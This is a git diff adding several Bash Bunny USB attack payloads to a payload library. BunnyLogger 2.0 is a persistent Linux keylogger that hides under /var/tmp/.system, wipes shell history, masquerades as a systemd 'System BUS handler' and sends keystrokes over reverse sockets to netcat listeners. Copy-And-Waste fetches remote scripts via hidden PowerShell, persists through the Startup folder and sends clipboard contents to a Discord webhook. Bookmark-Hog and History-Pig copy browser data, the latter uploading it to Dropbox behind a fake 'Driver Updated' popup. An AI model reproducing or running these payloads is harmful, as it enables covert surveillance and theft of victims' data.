diff --git a/payloads/library/credentials/BunnyLogger2.0/README.md b/payloads/library/credentials/BunnyLogger2.0/README.md new file mode 100644 index 00000000..1bb556ca --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/README.md @@ -0,0 +1,39 @@ +## About: +* Title: BunnyLogger 2.0 +* Description: Key logger which sends each and every key stroke of target remotely/locally. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Credentials +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## BunnyLogger 2.0: BunnyLogger is a Key Logger which captures every key stroke of target and send them to attacker. + +### Features: +* Live keystroke capturing. +* Stored Keystroke capturing. +* Bunny Logger Manager: Interactive TUI Dashboard. +* Detailed key logs. +* Persistent. +* Autostart payload on boot. + +### Directory Structure of payload components: + +| FileName | Directory | +| -------------- | ------------------------------ | +| payload.txt | /payload/switch1/ | +| payload.sh | /payload/ | +| requirements/* | /payloads/library/bunnyLogger2 | + +### LED Status: + +* `LED SETUP` : MAGENTA +* `LED ATTACK` : YELLOW +* `LED FINISH` : GREEN + +### Usage: +* Install BunnyLogger 2.0: `chmod +x install.sh && sudo ./install.sh` +* Run : `bunnyLoggerMgr` to launch BunnyLogger Manager. + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/credentials/BunnyLogger2.0/install.sh b/payloads/library/credentials/BunnyLogger2.0/install.sh new file mode 100644 index 00000000..a9cac16e --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/install.sh @@ -0,0 +1,7 @@ +#!/bin/bash +loc=$HOME/.config/bunnyLogger +mkdir $loc +cp requirements/payload.sh $loc +touch $loc/bunnyLogger.db +chmod +x requirements/bunnyLoggerMgr +sudo cp requirements/bunnyLoggerMgr /usr/local/bin/ diff --git a/payloads/library/credentials/BunnyLogger2.0/payload.txt b/payloads/library/credentials/BunnyLogger2.0/payload.txt new file mode 100644 index 00000000..c6295c84 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/payload.txt @@ -0,0 +1,53 @@ +# Title: BunnyLogger +# Description: Key logger which sends each and every key stroke of target remotely/locally. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Credentials +# Target: Unix-like operating systems with systemd. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING disk='$(lsblk -fs | grep BashBunny | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 2000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/bunnyLoggerMgr b/payloads/library/credentials/BunnyLogger2.0/requirements/bunnyLoggerMgr new file mode 100644 index 00000000..3a88d66e --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/requirements/bunnyLoggerMgr @@ -0,0 +1,191 @@ +#!/bin/bash +allowAbort=true; +myInterruptHandler() +{ + if $allowAbort; then + echo + echo -e "\n\033[1;34m[INFO]: \e[0mYou terminated bunnyLoggerMgr..." && exit 1; + fi; +} +trap myInterruptHandler SIGINT +echo -e "\033[4m\033[1mWelcome to BunnyLogger Manager!!!\033[0m" +echo +echo -e "1] Fetch Keylogs.\n2] Create new target.\n3] List available target.\n4] Remove target.\n5] Update target.\n6] Decode Key Logs." +echo +read -p "Enter your choice: " ch +create(){ + read -p "Enter Target's name(without whitespaces): " name + if [[ $(grep -oh "\w*$name\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $name ]]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mName \"$name\" already exists." + exit 1 + fi + read -p "Enter Servers IP: " ip + read -p "Enter Unique Port Number(1500-65535): " port + read -p "Enter another Unique Port Number(1500-65535): " secPort + if [ "$port" == "$secPort" ]; then + echo -e "\033[1;34m[INFO]: \033[0mTwo ports can't be similar." + exit 1 + fi + if [[ $(grep -oh "\w*$ip\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $ip ]] && [[ $(grep -oh "\w*$port\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $port ]] && [[ $(grep -oh "\w*$secPort\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $secPort ]]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mTarget exist with similar IP address \"$ip\" and port number one \"$port\", port number two \"$secPort\"." + exit 1 + fi + max=65535 + min=1500 + if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && (( $port <= $max )) && (( $port >= $min )) && (( $secPort <= $max )) && (( $secPort >= $min )); then + read -p "Specify directory for output: " dir + if [ ! -d "$dir" ]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory." + exit 1 + else + cp -r ~/.config/bunnyLogger/payload.sh $dir + fi + sed -i -e "s/0.0.0.0/$ip/g" $dir/payload.sh + sed -i -e "s/4444/$port/g" $dir/payload.sh + sed -i -e "s/5555/$secPort/g" $dir/payload.sh + echo -e "$(echo "$name"|xargs)\t$ip\t$port\t$secPort" >> ~/.config/bunnyLogger/bunnyLogger.db + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$ip\" or Port Number \"$port\" or Port Number \"$secPort\"." + exit 1 + fi + +} +list(){ + + column -t -o ' ' ~/.config/bunnyLogger/bunnyLogger.db | awk '{print NR" - "$0}' +} +remove(){ + echo + list + echo + read -p "Enter name of target to remove: " rmv + if grep -q $rmv ~/.config/bunnyLogger/bunnyLogger.db; then + sed -i "/\b\($rmv\)\b/d" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0m Successfully Removed \"$rmv\"." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$rmv\" no such target found." + fi +} +update(){ + echo + list + echo + read -p "Choose target number: " cho + read -p "You want to update (ip|portOne|portTwo): " ent + if [ "$ent" = ip ] + then + one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}") + read -p "Enter new ip: " use + if [[ $use =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + sed -i -e "$cho s/$one/$use/g" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0mSuccessfully Updated IP." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$use\"." + exit + fi + elif [ "$ent" = portOne ] + then + two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}') + read -p "Enter new Port number: " useP + max=65535 + min=1500 + if (( $useP <= $max )) && (( $useP >= $min )); then + sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"." + fi + elif [ "$ent" = portTwo ] + then + two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}') + read -p "Enter new Port number: " useP + max=65535 + min=1500 + if (( $useP <= $max )) && (( $useP >= $min )); then + sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"." + fi + else + echo -e "\033[1;31m\e[1m[ERROR]: \e0m[Invalid choice \"$ent\"." + fi +} +fetch(){ + echo + list + echo + read -p "Enter Target number to connect: " cho + one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}") + two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}') + three=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}') + echo -en "1] Live Capture \t2]Fetch Stored Logs: " + read typ + case $typ in + 1) + read -p "Specify directory for output: " dir + read -p "Enter filename to store logs: " filename + if [ ! -d "$dir" ]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory." + exit 1 + else + echo "\033[1;34m\e[1m[[INFO]: \e[0mStarted Keylogs Capture..." + nc -lvp $two > $dir/$filename.log + fi + ;; + 2) + read -p "Specify directory for output: " dir + read -p "Enter filename to store logs: " filename + if [ ! -d "$dir" ]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory." + exit 1 + else + nc -lvp 1444 > $dir/$filename.log & + nc -lvp $three + fi + ;; + *) + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice.." + ;; + esac +} +decode(){ + echo -e "1] Normal Decode \t2] Informative Decode" + read -p "Enter your choice: " cho + read -p "Enter path of file to decode: " path + read -p "Enter path for decoded log: " out + case $cho in + 1) + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path | grep press | awk '{print $4}' > $out + ;; + 2) + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path > $out + ;; + *) + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice \"$cho\"." + ;; + esac +} +case $ch in + 1) + fetch + ;; + 2) + create + ;; + 3) + list + ;; + 4) + update + ;; + 5) + remove + ;; + 6) + decode + ;; + *) + echo -e "\033[1;31m\e[1m[ERROR]: Invalid Choice \"$ch\"." + ;; +esac diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl b/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl new file mode 100644 index 00000000..241ac449 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl @@ -0,0 +1,41 @@ +#!/bin/bash +transfer(){ + echo -e "\033[1;34m[INFO]: Target Logs:\033[0m" + cd /var/tmp/.system/logs/ + ls /var/tmp/.system/logs/ | sort + echo + echo -n "Enter filename to transfer: " + read ch + if [ -f $ch ]; + then + echo -e "\033[1;34m[INFO]: Transferring file...\033[0m" + /var/tmp/.system/./nc -q 0 127.0.0.1 1444 < $ch >/dev/null 2>&1 + if [ $? -eq 0 ]; then + echo -e "\033[1;32m[SUCCESS]: File Transferred.\033[0m" + else + echo -e "\033[1;34m[INFO]: Netcat listner is not running on Attacking system.\033[0m\n\033[1;31m[ERROR]: File transfer failed.\033[0m" + fi + else + echo -e "\033[1;31m[ERROR]: Invalid Filename \"$ch\".\033[0m" + fi +} +conti(){ + while : + do + echo + echo -n "Would you like to transfer more files? [Y/N]: " + read ch + if [ "$ch" = y ] || [ "$ch" = Y ]; + then + transfer + elif [ "$ch" = N ] || [ "$ch" = n ]; + then + echo -e "\033[1;34m[INFO]: Terminating...\033[0m" + break + else + echo -e "\033[1;31m[ERROR]: Invalid Choice \"$ch\".\033[0m" + fi + done +} +transfer +conti diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/nc b/payloads/library/credentials/BunnyLogger2.0/requirements/nc new file mode 100644 index 00000000..8612bf0c Binary files /dev/null and b/payloads/library/credentials/BunnyLogger2.0/requirements/nc differ diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/payload.sh b/payloads/library/credentials/BunnyLogger2.0/requirements/payload.sh new file mode 100644 index 00000000..16ae54df --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/requirements/payload.sh @@ -0,0 +1,28 @@ +#!/bin/bash +unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +mkdir -p /var/tmp/.system/logs +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +cp -r $mntt/tools/xinput /var/tmp/.system/ +cp -r $mntt/payloads/library/bunnyLogger2/clctrl /var/tmp/.system/ +cp -r $mntt/payloads/library/bunnyLogger2/nc /var/tmp/.system/ +chmod +x /var/tmp/.system/nc +echo -e "name=\$(date +\"%y-%m-%d-%T\")\n/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test > /var/tmp/.system/logs/\$name.log &\n/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys +chmod +x /var/tmp/.system/sys +chmod +x /var/tmp/.system/clctrl +chmod +x /var/tmp/.system/xinput +echo -e "while :\ndo\n\tping -c 5 127.0.0.1\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone &\nwhile :\ndo\n\tping -c 5 127.0.0.1\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",5555);exec("\"/var/tmp/.system/./clctrl "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus +chmod +x /var/tmp/.system/systemBus +mkdir -p ~/.config/systemd/user +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service +echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot +chmod +x /var/tmp/.system/reboot +echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service +systemctl --user daemon-reload +systemctl --user enable --now systemBUS.service +systemctl --user start --now systemBUS.service +systemctl --user enable --now reboot.service +systemctl --user start --now reboot.service +echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp +chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/xinput b/payloads/library/credentials/BunnyLogger2.0/requirements/xinput new file mode 100644 index 00000000..b9a54988 Binary files /dev/null and b/payloads/library/credentials/BunnyLogger2.0/requirements/xinput differ diff --git a/payloads/library/credentials/BunnyLogger2.0/uninstall.sh b/payloads/library/credentials/BunnyLogger2.0/uninstall.sh new file mode 100644 index 00000000..4df809bd --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/uninstall.sh @@ -0,0 +1,4 @@ +#!/bin/bash +loc=$HOME/.config/bunnyLogger +rm -rf $loc +sudo rm /usr/local/bin/bunnyLoggerMgr diff --git a/payloads/library/credentials/Jackalope/payload.txt b/payloads/library/credentials/Jackalope/payload.txt index f2c8ac47..4e1546e4 100644 --- a/payloads/library/credentials/Jackalope/payload.txt +++ b/payloads/library/credentials/Jackalope/payload.txt @@ -28,7 +28,7 @@ mkdir -p $LOOTDIR MSF_DIR=/tools/metasploit-framework -# Save environment informaiton: +# Save environment information: echo "PAYLOAD_DIR: $PAYLOAD_DIR" >> $LOOTDIR/log.txt echo "MSF_DIR: $MSF_DIR" >> $LOOTDIR/log.txt echo "LOOTDIR: $LOOTDIR" >> $LOOTDIR/log.txt diff --git a/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 new file mode 100644 index 00000000..06bc9793 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 @@ -0,0 +1,47 @@ +ο»Ώ#Bookmark-Hog + +# Get Drive Letter +$bb = (gwmi win32_volume -f 'label=''BashBunny''').Name + +# Test if directory exists if not create directory in loot folder to store file +$TARGETDIR = "$bb\loot\Bookmark-Hog\$env:computername\Chromebm.txt" +$TARGETDIR2 = "$bb\loot\Bookmark-Hog\$env:computername\Edgebm.txt" + +if(!(Test-Path -Path $TARGETDIR )){ + mkdir $TARGETDIR +} + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf)) { + try { + Write-Host "The chrome bookmark file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Chrome Bookmarks to Bash Bunny + else { + Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -Destination "$TARGETDIR" + } + + +# See if file is a thing +Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2" + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -PathType Leaf)) { + try { + Write-Host "The edge bookmark file has not been found. " + } + catch { + throw $_.Exception.Message + } +} + # Copy Edge Bookmarks to Bash Bunny + else { + Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2" +} diff --git a/payloads/library/exfiltration/Bookmark-Hog/README.md b/payloads/library/exfiltration/Bookmark-Hog/README.md new file mode 100644 index 00000000..47fe90c7 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/README.md @@ -0,0 +1,104 @@ + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Bookmark-Hog + +A payload to exfiltrate bookmarks of the 2 most popular browsers + +## Description + +This payload will enumerate through the browser directories, looking for the file that stores the bookmark history +These files will be saved to the bash bunny in the loot directory + +## Getting Started + +### Dependencies + +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Let the magic happen + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +atomiczsec + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

πŸ“± My Socials πŸ“±

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Bookmark-Hog/payload.txt b/payloads/library/exfiltration/Bookmark-Hog/payload.txt new file mode 100644 index 00000000..392ab545 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/payload.txt @@ -0,0 +1,22 @@ +# Title: Bookmark-Hog +# Description: This payload is meant to exfiltrate bookmarks to the bash bunny. +# Author: atomiczsec +# Version: 1.0 +# Category: Exfiltration +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +QUACK GUI r +QUACK DELAY 100 +LED STAGE2 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\BBB.ps1')" +QUACK ENTER \ No newline at end of file diff --git a/payloads/library/exfiltration/Copy-And-Waste/I.bat b/payloads/library/exfiltration/Copy-And-Waste/I.bat new file mode 100644 index 00000000..665c9be9 --- /dev/null +++ b/payloads/library/exfiltration/Copy-And-Waste/I.bat @@ -0,0 +1,3 @@ +@echo off +powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}" +pause diff --git a/payloads/library/exfiltration/Copy-And-Waste/README.md b/payloads/library/exfiltration/Copy-And-Waste/README.md new file mode 100644 index 00000000..93c4db2b --- /dev/null +++ b/payloads/library/exfiltration/Copy-And-Waste/README.md @@ -0,0 +1,119 @@ + + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Copy-And-Waste + +A payload to exfiltrate clipboard contents + +## Description + +This payload uses iwr to download 2 files +* I.bat +* c.ps1 + +**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup + +**c.ps1** will sit in AppData\Roaming folder, waiting for a Ctrl + C or Ctrl + X click + +Then the contents will then be sent to the discord webhook for viewing pleasure + +For killing the script press both Ctrl buttons at the same time [It will resume at reboot] + + +## Getting Started + +### Dependencies + +* Pastebin or other file sharing service, Discord webhook or other webhook service +* Windows 10,11 +* [Here](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) is a tutorial on how to use Discord webhooks + +

(back to top)

+ +### Executing program + +* Plug in your device +* Device will download both files and place them in proper directories to then run the script +``` +powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) & +[I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

πŸ“± My Socials πŸ“±

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Copy-And-Waste/c.ps1 b/payloads/library/exfiltration/Copy-And-Waste/c.ps1 new file mode 100644 index 00000000..0215ae3b --- /dev/null +++ b/payloads/library/exfiltration/Copy-And-Waste/c.ps1 @@ -0,0 +1,36 @@ +ο»ΏAdd-Type -AssemblyName WindowsBase +Add-Type -AssemblyName PresentationCore + +function dischat { + + [CmdletBinding()] + param ( + [Parameter (Position=0,Mandatory = $True)] + [string]$con + ) + + $hookUrl = 'YOUR DISCORD WEBHOOK' + +$Body = @{ + 'username' = $env:username + 'content' = $con +} + + +Invoke-RestMethod -Uri $hookUrl -Method 'post' -Body $Body + +} + + +dischat (get-clipboard) + +while (1){ + $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') + $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::RightCtrl) + $cKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::c) + $xKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::x) + + if (($Lctrl -or $Rctrl) -and ($xKey -or $cKey)) {dischat (Get-Clipboard)} + elseif ($Rctrl -and $Lctrl) {dischat "---------connection lost----------";exit} + else {continue} +} \ No newline at end of file diff --git a/payloads/library/exfiltration/Copy-And-Waste/payload.txt b/payloads/library/exfiltration/Copy-And-Waste/payload.txt new file mode 100644 index 00000000..a44aae6f --- /dev/null +++ b/payloads/library/exfiltration/Copy-And-Waste/payload.txt @@ -0,0 +1,17 @@ +REM Title: Copy-And-Waste + +REM Author: atomiczsec & I am Jakoby + +REM Description: This payload is meant to exfiltrate whatever is copied to the clipboard and sends to a discord webhook + +REM Target: Windows 10, 11 + +DELAY 2000 +GUI +DELAY +STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +ENTER + +REM Remember to replace the link with your pastebin shared link for the intended files to download +REM Also remember to put in your discord webhook in c.ps1 +REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH \ No newline at end of file diff --git a/payloads/library/exfiltration/History-Pig/HP.ps1 b/payloads/library/exfiltration/History-Pig/HP.ps1 new file mode 100644 index 00000000..42443b43 --- /dev/null +++ b/payloads/library/exfiltration/History-Pig/HP.ps1 @@ -0,0 +1,63 @@ +#History-Pig + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/History" -PathType Leaf)) { + try { + Write-Host "The Chrome History file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Chrome History to Temp Directory to get sent to Dropbox + else { + $F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_chrome_history" + Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/History" -Destination "$env:tmp/$F1" + } + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/History" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/History" -PathType Leaf)) { + try { + Write-Host "The Edge History file has not been found. " + } + catch { + throw $_.Exception.Message + } +} + # Copy Edge History to Temp Directory to get sent to Dropbox + else { + $F2 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_edge_history" + Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/History" -Destination "$env:tmp/$F2" +} + +function DropBox-Upload { + + [CmdletBinding()] + param ( + + [Parameter (Mandatory = $True, ValueFromPipeline = $True)] + [Alias("f")] + [string]$SourceFilePath + ) + $DropBoxAccessToken = "ADD-YOUR-DROPBOX-TOKEN-HERE" # Replace with your DropBox Access Token + $outputFile = Split-Path $SourceFilePath -leaf + $TargetFilePath="/$outputFile" + $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' + $authorization = "Bearer " + $DropBoxAccessToken + $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" + $headers.Add("Authorization", $authorization) + $headers.Add("Dropbox-API-Arg", $arg) + $headers.Add("Content-Type", 'application/octet-stream') + Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers + } + +DropBox-Upload -f "$env:tmp/$F1" +DropBox-Upload -f "$env:tmp/$F2" + +$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1) diff --git a/payloads/library/exfiltration/History-Pig/README.md b/payloads/library/exfiltration/History-Pig/README.md new file mode 100644 index 00000000..b8552e81 --- /dev/null +++ b/payloads/library/exfiltration/History-Pig/README.md @@ -0,0 +1,109 @@ +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# History-Pig + +A payload to exfiltrate the history of the 2 most popular browsers + +## Description + +This payload will enumerate through the browser directories, looking for the file that stores the history + +These files will be saved to the temp directory + +Finally dropbox will be used to exfiltrate the files to cloud storage + +## Getting Started + +### Dependencies + +* DropBox or other file sharing service - Your Shared link for the intended file +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory +``` +powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +atomiczsec +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

πŸ“± My Socials πŸ“±

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

